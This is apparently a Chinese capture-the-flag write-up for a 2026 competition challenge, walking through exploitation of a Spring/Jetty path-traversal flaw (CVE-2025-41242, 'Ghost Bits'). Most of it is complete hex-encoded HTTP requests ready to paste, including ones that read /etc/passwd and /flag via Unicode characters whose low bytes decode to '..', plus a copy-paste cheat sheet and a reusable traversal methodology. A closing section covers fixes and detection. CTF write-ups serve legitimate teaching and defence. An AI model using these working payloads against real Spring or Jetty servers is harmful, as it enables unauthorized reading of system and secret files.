/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */
#content_views .toc,
/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */
#content_views.markdown_views > p:empty:has(+ .toc),
#content_views.markdown_views > .toc + p:empty,
/* 富文本旧版目录标记 */
#content_views.htmledit_views #main-toc,
#content_views.htmledit_views #hr-toc,
#content_views.htmledit_views p[id*=\”-toc\”] {
display: none !important;
}
/* 目录去掉后,紧跟的首个标题不再多出一块上边距 */
#content_views.markdown_views > .toc + h1,
#content_views.markdown_views > .toc + h2,
#content_views.markdown_views > .toc + h3,
#content_views.markdown_views > .toc + h4,
#content_views.markdown_views > .toc + p:empty + h1,
#content_views.markdown_views > .toc + p:empty + h2,
#content_views.markdown_views > .toc + p:empty + h3,
#content_views.markdown_views > .toc + p:empty + h4 {
margin-top: 0 !important;
}
从容器拦截到 Ghost Bits:一套可复用的 CTF 路径穿越探测方法论(这道题确实有点意思)
合规声明:本文所有测试均在「黄鹤杯 2026」公开赛题靶场 env.xj.edisec.net 内进行。本文不提供可直接一键利用的完整脚本,仅讲解原理与复现思路。严禁将本文涉及的任何手法用于未授权系统。
一、写在前面:为什么要用 HEX 模式
这道题的核心是 CVE-2025-41242(Ghost Bits 幽灵比特位路径穿越),关键在于向服务器发送原始 UTF-8 字节(不是百分号编码后的形式)。但绝大多数 HTTP 发包工具在输入汉字时会做"额外处理",这种处理恰恰会破坏利用链。下面分两层讲清楚。
1.1 Raw 模式输入汉字,工具做了什么?
当你在 Yakit / Burp Suite / Postman 的 Raw 模式(文本编辑器)输入一个汉字时,工具会在背后做这个操作:
你输入: GET /馆/../flag HTTP/1.1
↓
工具的编码层检测到"馆"不是 ASCII 字符
将其替换为 UTF-8 百分号编码
↓
实际发出去: GET /%E9%A6%86/../flag HTTP/1.1
馆的 UTF-8 编码是 3 字节 E9 A6 86,Raw 模式自动把它转成 %E9%A6%86——变成了 9 个 ASCII 字符。Jetty 收到 %E9%A6%86 后正常解码、正常规范化,.. 被识别并折叠回上一级,漏洞触发条件消失。路径穿越也就无从谈起。
1.2 HEX 模式做了什么
HEX 模式下,你对编辑器做的每一处修改都精确到字节:
HEX 编辑器里粘贴: 47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 66 6C 61 67 20 48 54 54 50…
↑
直接写入了 3 个原始字节(E9 A6 86),
没有经过任何"字符→百分号"的转换
↓
实际发出去: GET /馆/../flag HTTP/1.1
("馆"的原始 UTF-8 字节原样送达)
JSocket 那端收到的是三个连续的 UTF-8 字节 E9 A6 86,不是 %E9%A6%86。Jetty 在解析请求行时直接处理原始字节,与 %xx 的编码逻辑完全不同——这是整个漏洞能够触发的先决条件。
1.3 同样一段文字,两种方式发出去的 Wire Bytes 对比
|
输入文本 |
使用模式 |
实际 wire bytes(请求行中的路径部分) |
Jetty 解码结果 |
|
馆 |
Raw(自动转码) |
2F 25 45 39 25 41 36 25 38 36(/%E9%A6%86) |
/%E9%A6%86 → 正常解码、可读 |
|
馆 |
HEX(无转码) |
2F E9 A6 86(/馆 的原始字节) |
Jetty 把 E9 A6 86 当做路径段的一部分,.. 不会被正常折叠 |
第一行:Jetty 识别了百分号编码 → 正常规范化 → .. 被拦截 → 400
第二行:Jetty 把三个字节认成"一个非 ASCII 路径段"→ 与后面的 .. 产生歧义 → 绕过了规范化检查 → 200
所以整篇文档的所有操作都必须在 HEX 模式下完成,打完字节后千万不要切回 Raw 模式(一切回,工具会重新解析字符,百分号编码又回来了)。
1.4 本文使用的工具
全部操作在 Yakit Web Fuzzer 的 HEX 模式下完成。其它工具(Burp Suite Repeater、HackBar 等)只要也有十六进制编辑器入口,理论上同样可以操作。
二、整体探测逻辑链
先给全貌,后面每一步对应一个阶段:
① 普通 ../ → 400 ← 验证容器的默认防御
② 非ASCII段 + 单层 ../ → 200 ← 发现"隐式穿越"的可能性
③ 枚举基目录文件 ← 基目录找不到 flag,flag 在外面
④ 双层 ../ → 400 ← 字面 .. 无法逃逸基目录
⑤ Ghost Bits 深度校准 ← 用 /etc/passwd 找"到根需要多少层"
⑥ 读 /flag ← 校准完成,拿结果
三、环境准备
3.1 启动 Yakit
打开 Yakit,左侧功能栏找到 Web Fuzzer(或首页搜索 "fuzzer")。打开一个新标签页。
3.2 HEX 模式
在 Web Fuzzer 的请求编辑区顶部找到 HEX 按钮,点击切换到十六进制编辑器。之后的每一次操作都保持在 HEX 模式,不要切回美化模式。

四、第 1 步:普通 ../ → 验证 Jetty 拦截
思考:路径穿越的标准手法就是 ../。能不能直接溜过去?
操作:HEX 模式下 Ctrl+A → Delete 清空,粘贴:
47 45 54 20 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A
逐字节解读:
47 45 54 20 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64
G E T 空格 / . . / e t c / p a s s w d
20 48 54 54 50 2F 31 2E 31 0D 0A
空格 H T T P / 1 . 1 \\r \\n
48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A
H o s t : 空格 e n v . x j . e d i s e c . n e t : 3 0 2 6 2 \\r \\n
0D 0A ← 空行(标志请求头结束,必须有)
送。
响应:
HTTP/1.1 400 Bad Request
…
org.eclipse.jetty.http.BadMessageException: 400: Bad URI
Jetty 直接返回 400 Bad Request,../ 被容器(不是应用层)拦截。

五、第 2 步:中文 + 单层 ../ → 发现绕过可能
思考:首页有一句"某些 URI 可能在不同组件中被解释为不同含义"——提示了思路:让 Jetty 和 Spring 对同一个 URI 得出不同的规范化结果。如果我塞一个非 ASCII 字符在前面,Jetty 会不会漏掉后面的 ..?
操作:
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 69 6E 64 65 78 2E 68 74 6D 25 36 63 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A
新字符说明:
E9 A6 86 ← 汉字"馆"的原始 UTF-8 字节(不是 %E9%A6%86 这种百分号形式)
2F 2E 2E ← "/.."(斜杠 + 两点)
2F 69 6E 64 65 78 2E 68 74 6D 25 36 63
← "/index.htm%6c"(%6c = l,拼成 index.html)
送。
响应:HTTP/1.1 200 OK,body 是首页的 馆藏检索系统 HTML 页面(4351 字节)。
注意:如果你的响应是 304 Not Modified,说明工具自动带了 If-Modified-Since 头(下一节踩坑汇总也会讲)。删掉所有多余请求头,只留 Host。

这意味着什么:
- Jetty 确实因为非 ASCII 段 馆 而漏判了紧随其后的 ..
- Spring 的 cleanPath 把 馆/../ 折叠成了 /,isInvalidPath() 检查通过
- 但 %6c 编码没被解码,说明 Spring 和 Jetty 的编码路径解析也存在差异
⚠️ 常见踩坑:发出去后发现还是 400,说明工具在 Raw 模式下自动把汉字转码成了 %E9%A6%86。必须切 HEX 模式发原始字节。
⚠️ If-Modified-Since 陷阱:如果工具自动加了 If-Modified-Since 请求头,服务器会返回 304 Not Modified(文件未变化时复用缓存)。解决办法:只保留 Host 头,删掉所有多余请求头。本 HEX 中已经只有 Host 行,没有多余头。
六、第 3 步:枚举基目录文件
思考:单层穿越能读到基目录的内容。flag 会不会直接在基目录里?
知识点:基目录 = Spring 静态资源处理器工作的根目录。Spring Boot 应用启动后,会有一个 ResourceHttpRequestHandler 专门负责"读静态文件"。它需要知道一个起点——这个起点就是基目录。


操作:固定 E9 A6 86 2F 2E 2E 2F(馆/../)部分,后面的文件名依次换成不同的值。
|
完整 HEX |
响应 |
|
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 69 6E 64 65 78 2E 68 74 6D 25 36 63 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
200 index.html |
|
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 66 6C 61 67 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
404 flag |
|
… 66 6C 61 67 2E 74 78 74 … |
404 flag.txt |
|
… 66 6C 61 67 2E 68 74 6D 6C … |
404 flag.html |
|
… 61 70 70 6C 69 63 61 74 69 6F 6E 2E 70 72 6F 70 65 72 74 69 65 73 … |
404 application.properties |
|
… 61 70 70 6C 69 63 61 74 69 6F 6E 2E 79 6D 6C … |
404 application.yml |
结果:基目录只有一个 index.html,flag 在更上层或文件系统根。


#剩下的自己去试试看吧,我在这里就不把图全部截出来了。
七、第 4 步:双层 .. 被拦 → 意识到字面量不可行
思考:基目录没有,往上走的唯一方式是再加一层 ../。试一下。
操作:
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A
注意这里有两组 . 2E 2E 2F(即 ../):
E9 A6 86 2F 2E 2E 2F 2E 2E 2F
馆 / . . / . . /
送。
响应:400 Bad Request(和普通 ../ 一样被拦)。

结论:两个连续 .. Jetty 能识别。单层能藏、多层藏不住——"中文段 + 字面 .."这条路走到头了。必须找一种 .. 完全不以字面量出现在路径中的方法。
八、第 5 步:Ghost Bits 深度校准
8.1 Ghost Bits 原理(极简版)
有一组特定汉字,经过 Spring StringUtils.uriDecode() 的"低 8 位截断"处理后,会被还原成 .%u002e;Jetty 后续把 %u002e 解码成 .,实质就是 ..。
关键字符映射:
|
汉字 |
Unicode |
低 8 位 |
还原为 |
|
阮 |
U+962E |
0x2E |
. |
|
严 |
U+4E25 |
0x25 |
% |
|
灵 |
U+7075 |
0x75 |
u |
|
丰 |
U+4E30 |
0x30 |
0 |
|
甲 |
U+7532 |
0x32 |
2 |
|
来 |
U+6765 |
0x65 |
e |
连起来:阮严灵丰丰甲来 = .%u002e → 实际等于 ..。


每一个 阮严灵丰丰甲来/ 等价于 一层 ../。
8.2 为什么不能用 .. 字面量
因为 Spring 的 isInvalidPath() 检查的是字符串字面量——包含 .. 就拦。但 阮严灵丰丰甲来 经过 uriDecode 后变成 .%u002e,字面上没有 ..,所以放行了。这是 CVE-2025-41242 的核心。
8.3 用 /etc/passwd 校准深度
这是整个探测中最重要的一步。我们不知道静态基目录离文件系统根有多远,所以要用一个一定在根下的文件来试。
/etc/passwd 在每一个 Linux 系统都存在,是天然的探针。
1 层 Ghost Bits + /etc/passw%64:
47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 65 74 63 2F 70 61 73 73 77 25 36 34 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A
新字节说明(Ghost Bits 21 字节):
E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5
阮 严 灵 丰 丰 甲 来
送 → 404(深度不够,还在基目录内)。
2 层 Ghost Bits + /etc/passw%64:
47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 65 74 63 2F 70 61 73 73 77 25 36 34 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A
两组的区别:
第一组: E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5
第二组: E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5
中间用 2F(/)隔开
送 → HTTP/1.1 200 OK,body 开头为:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

校准成功:深度 = 2,刚好到文件系统根 /。
%64 是 d 的百分号编码,passw%64 = passwd。为什么末尾字符要做编码?因为 Jetty 在识别文件扩展名时可能有额外的安全检验,对疑似"配置文件后缀"的路径做拦截。末尾字符编码能绕过这类隐式检查——这是一个安全的通用做法。
九、第 6 步:读 /flag
思考:CTF 惯例,flag 文件在文件系统根 /flag。深度已校准(2),文件名用 fla%67(g 编码为 %67)。
操作:
47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 66 6C 61 25 36 37 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A
与上一步不同的只有最后一段:
66 6C 61 25 36 37 ← "fla%67"(代替了之前的 "etc/passw%64")
送:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 25
FLAG{xxxxxxxxxxxxxxxxxx}


Content-Type: application/octet-stream + 25 字节 → 这是文件系统直接返回的原始文件内容,不是应用层响应。
十、完整操作速查表
|
阶段 |
复制这段 HEX |
预期结果 |
|
验证拦截 |
47 45 54 20 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
400 Jetty 挡了 |
|
单层绕过 |
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 69 6E 64 65 78 2E 68 74 6D 25 36 63 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
200 index.html |
|
枚举 flag |
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 66 6C 61 67 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
404 不在基目录 |
|
双层被拦 |
47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
400 藏不住两层 |
|
校准(2 层 + etc/passwd) |
47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 65 74 63 2F 70 61 73 73 77 25 36 34 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
200 /etc/passwd ✅ |
|
🏆 读 flag |
47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 66 6C 61 25 36 37 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A |
200 FLAG{xxxxxxxxxxxx} 🎉 |
十一、探测方法论总结
这套"路径穿越题探测模板"适用于大多数 CTF 题目:
① 字面 ../ → 容器拦了?
├── 没拦 → 直接穿越
└── 拦了 → 找容器与框架的 URI 解析差异(题眼)
② 非ASCII + ../ → 单层能/不能?
├── 不能 → 换别的绕过思路(参数注入、矩阵参数等)
└── 能 → 枚举基目录,flag 在不在?
├── 在 → 直接收工
└── 不在 → 试多层 ../ → 被拦?→ 换隐形式 ../(Ghost Bits / %u002e / 等)
③ Ghost Bits 等隐形式 → 先校准深度(/etc/passwd 是通用探针)
④ 校准后读 /flag / /home/*/flag / 环境变量 → 收工
十二、常见踩坑总结
|
现象 |
原因 |
解决 |
|
400 Bad Request |
工具自动把汉字转成了百分号编码 |
用 HEX 模式发原始字节 |
|
304 Not Modified |
请求头带了 If-Modified-Since |
删掉所有多余请求头,只留 Host |
|
505 HTTP Version Not Supported |
请求格式不规范(多余字节 / 头字段格式错误) |
严格按照 HEX 串粘贴,不要手动修改 |
|
%6c 发出去变成 %6C(大写) |
工具对百分号编码做了大小写自动转换 |
检查 HEX 中 %6c 对应的字节是否为 25 36 63 |
|
404 at depth=2 但 /etc/passwd 能读到 |
文件名拼写或末尾编码不对 |
试 fla%67(不要写 flag),同时也试 FLAG、flag.txt |
十三、防御与修复
- Spring 官方修复:版本 5.3.44 / 6.1.22 / 6.2.10 重写了 StringUtils.uriDecode,消除了低 8 位截断(PR #34673)
- 容器侧:Jetty 11/12 可通过 UriCompliance 配置提高严格的 URI 规范化等级
- 部署侧:静态资源基目录尽量缩小(不要暴露整个 classpath)
- 检测侧:RASP 在 FileInputStream 等底层 API 处做兜底检查,可检测到穿越后的 /flag 读取操作
写在最后:这道题考的不是漏洞知识储备(CVE-2025-41242 太新了,绝大多数人没有见过),而是“遇到不认识的东西时,能不能按逻辑链一步一步推下去”——从容器拦截到绕过到隐形式穿越,每一步的现象驱动下一步的思考。这才是 CTF 复现真正想训练的能力。




